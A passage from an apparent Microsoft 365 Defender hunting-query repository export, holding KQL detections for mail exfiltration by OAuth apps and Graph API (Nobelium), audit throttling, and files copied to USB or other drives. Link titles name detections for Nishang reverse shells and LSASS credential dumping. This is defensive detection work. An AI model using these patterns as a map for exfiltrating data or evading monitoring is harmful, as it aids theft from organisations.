|\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](../Execution/reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [Exchange PowerShell snap-in being loaded](./exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](../Execution/umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](../Execution/exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](../Execution/umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](../Execution/reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exfiltration/Anomaly of MailItemAccess by GraphAPI [Nobelium].md",
    "content": "# Anomalous use of MailItemAccess by GraphAPI [Nobelium]\n\nThis query looks for anomalies in mail item access events made by Graph API. It uses standard deviation to determine if the number of events is anomalous. The query returns all clientIDs where the amount of mail sent per day was larger than value given by the formula, `average + STDThreshold(2.5)*(standard deviation)`.\n\nSee [*The MailItemsAccessed mailbox auditing action*](https://docs.microsoft.com/en-us/microsoft-365/compliance/mailitemsaccessed-forensics-investigations?view=o365-worldwide#the-mailitemsaccessed-mailbox-auditing-action).\n\n## Query\n\n```kusto\nlet starttime = 30d;\nlet STDThreshold = 2.5;\nlet allMailAccsessByGraphAPI = CloudAppEvents\n| where   ActionType == \"MailItemsAccessed\"\n| where Timestamp between (startofday(ago(starttime))..now())\n| where isnotempty(RawEventData['ClientAppId'] ) and RawEventData['AppId'] has \"00000003-0000-0000-c000-000000000000\"\n| extend ClientAppId = tostring(RawEventData['ClientAppId'])\n| extend OperationCount = toint(RawEventData['OperationCount'])\n| project Timestamp,OperationCount , ClientAppId;\nlet calculateNumberOfMailPerDay = allMailAccsessByGraphAPI\n| summarize NumberOfMailPerDay =sum(toint(OperationCount)) by ClientAppId,format_datetime(Timestamp, 'y-M-d');\nlet calculteAvgAndStdev=calculateNumberOfMailPerDay\n| summarize avg=avg(NumberOfMailPerDay),stev=stdev(NumberOfMailPerDay) by ClientAppId;\ncalculteAvgAndStdev  | join calculateNumberOfMailPerDay on ClientAppId\n| sort by ClientAppId\n|  where NumberOfMailPerDay > avg + STDThreshold * stev\n| project ClientAppId,Timestamp,NumberOfMailPerDay,avg,stev \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | V |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](./MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](./OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](./OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](./OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Shilo Yair\n**GitHub alias:** shilo.yair\n**Organization:** Microsoft 365 Defender\n**Contact info:** shyair@microsoft.com\n"
  },
  {
    "path": "Exfiltration/Data copied to other location than C drive.txt",
    "content": "//Check all created files\n// that does not have extension ps1, bat or cmd to avoid IT Pro scripts\n// that are not copied to C:\\ to detect all file share, external drive, data partition that are not allowed, etc.\n// this could help to detect malicious insider/user that has unencrypted data partition and that are using it to exfiltrate data even while removable devices & cloud storage is blocked\nDeviceFileEvents\n| where ActionType == \"FileCreated\"\n| extend extension= extract(@\".*(\\..*)$\",1,FileName)\n| where extension !in (\".ps1\",\".bat\",\".cmd\")\n| extend DriveLetterOrShare=split(FolderPath,':')[0]\n| where DriveLetterOrShare != 'C'\n| project tostring(DriveLetterOrShare), FolderPath, FileName, DeviceId, DeviceName, ReportId, Timestamp, ShareName, IsAzureInfoProtectionApplied, SensitivityLabel, SensitivitySubLabel, InitiatingProcessFileName, InitiatingProcessAccountUpn, InitiatingProcessCommandLine\n"
  },
  {
    "path": "Exfiltration/Files copied to USB drives.md",
    "content": "# List files copied to USB mounted drives\nThis query lists files copied to USB external drives with USB drive information based on FileCreated events associated with most recent USBDriveMount events befor file creations. But be aware that Advanced Hunting is not monitoring all the file types.\n\n## Query\n```\nlet UsbDriveMount = DeviceEvents\n| where ActionType==\"UsbDriveMounted\"\n| extend ParsedFields=parse_json(AdditionalFields)\n| project DeviceId, DeviceName, DriveLetter=ParsedFields.DriveLetter, MountTime=Timestamp,\nProductName=ParsedFields.ProductName,SerialNumber=ParsedFields.SerialNumber,Manufacturer=ParsedFields.Manufacturer\n| order by DeviceId asc, MountTime desc;\nlet FileCreation = DeviceFileEvents\n| where InitiatingProcessAccountName != \"system\"\n| where ActionType == \"FileCreated\"\n| where FolderPath !startswith \"C:\\\\\"\n| where FolderPath !startswith \"\\\\\"\n| project ReportId,DeviceId,InitiatingProcessAccountDomain,\nInitiatingProcessAccountName,InitiatingProcessAccountUpn,\nFileName, FolderPath, SHA256, Timestamp, SensitivityLabel, IsAzureInfoProtectionApplied\n| order by DeviceId asc, Timestamp desc;\nFileCreation | lookup kind=inner (UsbDriveMount) on DeviceId\n| where FolderPath startswith DriveLetter\n| where Timestamp >= MountTime\n| partition by ReportId ( top 1 by MountTime )\n| order by DeviceId asc, Timestamp desc\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\nContributor: Yoshihiro Ichinose  \nGitHub alias: YoshihiroIchinose  \nOrganization: Microsoft Japan Co., Ltd.  \nContact info: yoshi@microsoft.com  \n"
  },
  {
    "path": "Exfiltration/MailItemsAccessed Throttling [Nobelium].md",
    "content": "# MailItemsAccessed throttling [Nobelium]\n\nThe MailItemsAccessed action is part of the new Advanced Audit functionality of Microsoft 365 Defender. It's part of Exchange mailbox auditing and is enabled by default for users that have an Office 365 or Microsoft 365 E5 license, or for organizations with a Microsoft 365 E5 Compliance add-on subscription.\n\nIf more than 1,000 MailItemsAccessed audit records are generated in less than 24 hours, Exchange Online will stop generating auditing records for MailItemsAccessed activity. When a mailbox is throttled, MailItemsAccessed activity will not be logged for 24 hours after the mailbox was throttled. If this occurs, there's a potential that mailbox could have been compromised during this period. The recording of MailItemsAccessed activity will be resumed following a 24-hour period.\n\nThe query is looking for MailItemsAccessed Throttling events where the operation is done by a ClientApplication.\n\nSee [*The MailItemsAccessed mailbox auditing action*](https://docs.microsoft.com/en-us/microsoft-365/compliance/mailitemsaccessed-forensics-investigations?view=o365-worldwide#the-mailitemsaccessed-mailbox-auditing-action).\n\n## Query\n\n```Kusto\nlet starttime = 1d;\nCloudAppEvents\n| where Timestamp between (startofday(ago(starttime))..now())\n| where ActionType == \"MailItemsAccessed\"\n| extend isThrottled=RawEventData['OperationProperties'][1]\n| where isnotempty(RawEventData['ClientAppId'] ) and isThrottled has \"True\" and RawEventData['AppId'] has \"00000003-0000-0000-c000-000000000000\"//GrapAPI Id\n| project Timestamp, RawEventData['OrganizationId'],AccountObjectId,UserAgent\n\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | V |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](./Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](./OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](./OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](./OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Shilo Yair\n**GitHub alias:** shilo.yair\n**Organization:** Microsoft 365 Defender\n**Contact info:** shyair@microsoft.com\n"
  },
  {
    "path": "Exfiltration/Map external devices.txt",
    "content": "// Action \"PnpDeviceConnected\" reports the connection of any plug and play device.\n// read more online on event 6416: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6416\n\n// Query #1: look for rare one-time devices connected to a specific machine\nlet DeviceNameParam = \"<replace this with full computer name>\";\n// Query for device connection events\nlet devices =\n    DeviceEvents\n    | where ActionType == \"PnpDeviceConnected\"\n    | extend parsed=parse_json(AdditionalFields)\n    | project \n        DeviceDescription=tostring(parsed.DeviceDescription),\n        ClassName=tostring(parsed.ClassName),\n        DeviceId=tostring(parsed.VendorIds),\n        VendorIds=tostring(parsed.VendorIds),\n        DeviceName, Timestamp ;\n// Filter devices seen on the suspected machine\ndevices | where DeviceName == DeviceNameParam\n// Get some stats on the device connections to that machine\n| summarize TimesConnected=count(), FirstTime=min(Timestamp), LastTime=max(Timestamp) by DeviceId, DeviceDescription, ClassName, VendorIds, DeviceName\n// Optional filter - looking for devices used in only within 24h\n| where LastTime - FirstTime < 1d\n// Filter out (antijoin) devices that are common in the organization.\n// We use here multiple identifiers, including a pseudo-unique device ID.\n// So, a specific disk-on-key device which model is common in the org will still be shown in the results,\n// while built-in software devices (often have constant device ID) as well as common network devices (e.g. printer queues) will be excluded.\n| join kind=leftanti \n  (devices | summarize Machines=dcount(DeviceName) by DeviceId, DeviceDescription, VendorIds | where Machines > 5)\n  on DeviceId, DeviceDescription, VendorIds\n\n// Query #2: map uncommon storage devices across the org\n// This is a noisy query - but it can serve as reference for working with this event\nDeviceEvents\n| where ActionType == \"PnpDeviceConnected\"\n| extend parsed=parse_json(AdditionalFields)\n| extend\n    DeviceDescription=tostring(parsed.DeviceDescription),\n    ClassName=tostring(parsed.ClassName)\n| where\n    ClassName in (\"DiskDrive\", \"CDROM\")\n    or ClassName contains \"nas\"\n    or ClassName contains \"SCSI\"\n    or (ClassName == \"USB\" and DeviceDescription contains \"storage\")\n| summarize ComputerCount=dcount(DeviceName) by ClassName, DeviceDescription\n| where ComputerCount < 5\n"
  },
  {
    "path": "Exfiltration/OAuth Apps accessing user mail via GraphAPI [Nobelium].md",
    "content": "# OAuth apps accessing user mail via GraphAPI [Nobelium]\n\nThis query helps you review all OAuth applications accessing user mail via Graph. It could return a significant number of results depending on how many applications are deployed in the environment.\n\n## Query\n\n```kusto\nCloudAppEvents \n| where Timestamp >= ago(1h) \n| where ActionType == \"MailItemsAccessed\" \n| where RawEventData has \"00000003-0000-0000-c000-000000000000\" // performance \n| where RawEventData has \"ClientAppId\" \n| extend rawData = parse_json(RawEventData) \n| extend AppId = tostring(parse_json(rawData.AppId)) \n| where AppId == \"00000003-0000-0000-c000-000000000000\"         // graph API \n| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId \n| summarize by OAuthAppId \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | V |  |\n| Impact | |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](./Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](./MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](./OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](./OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exfiltration/OAuth Apps reading mail both via GraphAPI and directly [Nobelium].md",
    "content": "# OAuth apps reading mail via GraphAPI and directly [Nobelium]\n\nAs described in [previous guidance](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/), Nobelium may re-purpose legitimate existing OAuth Applications in the environment to their own ends. However, malicious activity patterns may be discernable from  legitimate ones.\n\nThe following query returns OAuth Applications that access mail both directly and via Graph, allowing review of whether such dual access methods follow expected use patterns.\n\n## Query\n\n```kusto\n// Look for OAuth apps reading mail both via GraphAPI, and directly (not via GraphAPI) \n// (one method may be legitimate and one suspect?) \nlet appsReadingMailDirectly = CloudAppEvents \n| where Timestamp >= ago(1h) \n| where ActionType == \"MailItemsAccessed\" \n| where RawEventData has \"AppId\" \n| extend rawData = parse_json(RawEventData) \n| extend AppId = tostring(parse_json(rawData.AppId)) \n| where AppId != \"00000003-0000-0000-c000-000000000000\" \n| summarize by AppId \n| project-rename OAuthAppId = AppId; \nlet appsReadingMailViaGraphAPI = CloudAppEvents \n| where Timestamp >= ago(1h) \n| where ActionType == \"MailItemsAccessed\" \n| where RawEventData has \"ClientAppId\" \n| where RawEventData has \"00000003-0000-0000-c000-000000000000\" // performance check \n| extend rawData = parse_json(RawEventData) \n| extend AppId = tostring(parse_json(rawData.AppId)) \n| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId \n| where AppId == \"00000003-0000-0000-c000-000000000000\" \n| summarize by OAuthAppId; \n// Applications reading mail both directly and via GraphAPI  \n// (one method may be legitimate and one suspect?) \nappsReadingMailDirectly \n| join kind = inner appsReadingMailViaGraphAPI \non OAuthAppId \n| project OAuthAppId \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | V |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](./Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](./MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](./OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](./OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exfiltration/OAuth Apps reading mail via GraphAPI anomaly [Nobelium].md",
    "content": "# OAuth apps reading mail via GraphAPI anomaly [Nobelium]\n\nUse this query to review OAuth applications whose behaviour has changed as compared to a prior baseline period. The following query returns OAuth Applications accessing user mail via Graph that did not do so in the preceding week.\n\n## Query\n\n```kusto\n//Look for OAuth App reading mail via GraphAPI -- that did not read mail via graph API in prior week \nlet appMailReadActivity = (timeframeStart:datetime, timeframeEnd:datetime) { \nCloudAppEvents \n| where Timestamp between (timeframeStart .. timeframeEnd) \n| where ActionType == \"MailItemsAccessed\" \n| where RawEventData has \"00000003-0000-0000-c000-000000000000\" // performance check \n| extend rawData = parse_json(RawEventData) \n| extend AppId = tostring(parse_json(rawData.AppId)) \n| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId \n| summarize by OAuthAppId \n}; \nappMailReadActivity(ago(1d),now())                           // detection period \n| join kind = leftanti appMailReadActivity(ago(7d),ago(2d))  // baseline period \non OAuthAppId \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration | V |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS 